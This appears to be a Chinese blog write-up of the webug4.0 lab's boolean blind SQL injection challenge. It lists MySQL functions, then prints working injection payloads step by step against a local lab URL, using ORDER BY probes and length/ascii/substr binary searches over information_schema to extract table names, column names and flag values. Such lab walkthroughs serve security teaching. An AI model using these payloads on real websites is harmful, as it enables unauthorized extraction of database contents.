webug4.0—布尔注入

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。本次主要讲解的是基于布尔的盲注。

Length()函数 返回字符串的长度

sleep(n):将程序挂起一段时间 n为n秒

if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

left(database(),n)  database() 数据库名称 left()函数表示截取数据库左侧n个字符

substr(a,b,c)   从字符串a的b位置开始截取c个字符,当b为负数时截取位置是从字符串a右端向左数b个字符

mid(a,b,c)    从字符串a的b位置开始截取c个字符,c为非必需若省略返回剩余文本

ord()与ascii()   这两个函数都是将字符转化成ascii值

limit i,n第一个参数:从i开始查 ; 第二个参数:查n条

IFNULL(exp1,exp2) 如果exp1不为null,返回exp1否则返回exp2

cast(exp as data_type)as之前是待处理数据,后面是要转换的类型。有时还有要求eg:CAST(‘12.5’ AS decimal(10,2)) 10代表所有数字位数限制为10 ,2表示小数点后两位 故结果为12.50 如果前面type换成int 则运行错误 。另精度和小数位数的默认值分别是18与0,decimal下 浮点数不说明的情况下会出来整数。

1. 打开靶场,发现url参数id为1,尝试修改为2 发现回显hello,修改为3 发现正常无回显 我们好像意识到了什么。。。

2.老一套探测sql注入

正常页面

1.加 ' 发现内容变了

2.加 ' and 1=1 %23 发现内容没变

3.加 ' and 1=2 %23 发现内容变了

4.发现注入点 且 并没有报错 不是显错注入

3. 探测列数

192.168.72.136/control/sqlinject/bool_injection.php?id=1' order by 1 %23   #页面没变
192.168.72.136/control/sqlinject/bool_injection.php?id=1' order by 2 %23   #页面没变
192.168.72.136/control/sqlinject/bool_injection.php?id=1' order by 3 %23   #页面变化 说明是两列
4.判断数据库名称的长度(二分法思维)

1' and length(database())>10 %23    页面改变
1' and length(database())>5 %23    页面改变
1' and length(database())>3 %23    页面没变
1' and length(database())>4 %23    页面没变
确定数据库名称长度为5

5.判断数据库名称的字符

http://localhost/control/sqlinject/bool_injection.php?id=1’ and left(database(),2)>'we' %23

正确时内容不变,错误时内容变了

webug4.0—布尔注入_第1张图片
开始猜数据库名,一步步猜出数据库名为webug,替换数字时需要加一个测试字符

找出数据库的名称为:webug

6.猜解数据库表个数:

1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 %23    页面改变
1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 %23    页面不变
1' and (select count(table_name) from information_schema.tables where table_schema=database())>6 %23    页面不变
1' and (select count(table_name) from information_schema.tables where table_schema=database())=7 %23    页面不变
      7个表

7.猜解表名:

1.首先猜解第一个表名长度:

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 %23    页面改变
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 %23    页面不变
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 %23    页面不变
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 %23    页面不变
确定第一表的长度为9

以此类推,修改substr的第二个参数,判断第二个表长度为8, 再类推 到第4个表使用这个语句

http://192.168.72.136/control/sqlinject/bool_injection.php?id=1%27%20and%20length(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1),1))=4%20%23
发现了这个表的名称长度为4 可能是我们要的flag(后来发现竟然不是)  如果你需要别的 就需要用下面爆破flag的方法爆破其他数据表名称

2.判断表的位置和名称长度之后判断表的具体名称:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>88 %23    页面不变
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>120 %23    页面改变
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>100 %23    页面不变
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>105 %23    页面改变
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=102 %23    页面不变
发现第一个字符的ascii值为102 查询字符为f 依次类推得到表名flag

8. 猜解字段名:

1.依然是猜解字段名个数

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')>10 %23    页面改变
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')>5 %23    页面改变
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1)=4 %23    页面不变
发现字段的个数为2

2.猜解各字段名的位数

猜解第一个字段的长度:

1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1))>5 %23    页面改变
1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1))=2%23    页面不变
发现第一个字段长度是2 可能不是我们要的‘flag’字段

猜解第二个字段的长度

1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1))>5 %23    页面改变
1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1))=4 %23    页面不变
 发现第二个字段的长度为4 可能使我们需要的字段 爆破一下这个字段的名字

1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1,1))>88 %23    页面不变
1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1,1))>120 %23    页面改变
1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1,1))=102 %23    页面不变
发现第二个字段的第一个字符ascii值为102 依次类推 发现字段名也是flag

9.猜解字段值:

依然是依次猜解字段值得长度 以及字段的值

1.猜解字段值长度:

1' and length(substr((select flag from flag limit 0,1),1))>10 %23    页面不变
1' and length(substr((select flag from flag limit 0,1),1))>20 %23    页面改变
1' and length(substr((select flag from flag limit 0,1),1))=16 %23    页面不变
字段值长度为16

2.猜解字段值具体值:

1' and ascii(substr((select flag from flag limit 0,1),1,1))>88 %23    页面不变
1' and ascii(substr((select flag from flag limit 0,1),1,1))>120 %23    页面改变
1' and ascii(substr((select flag from flag limit 0,1),1,1))>104 %23    页面改变
1' and ascii(substr((select flag from flag limit 0,1),1,1))>96 %23    页面不变
1' and ascii(substr((select flag from flag limit 0,1),1,1))=100 %23    页面不变
探测出来字段值第一位为d 依次类推 改变substr第二个参数 得到flag为 dfafdasfafdsadfa

10.提交flag 。。。 你没有看错 flag错误。

11.只能去探测其他表:

最后探测出来真正flag在env_list表中 行吧 方法已经放在这了

最后放出flag :fdsafsdfa

你可能感兴趣的:(webug,4.0)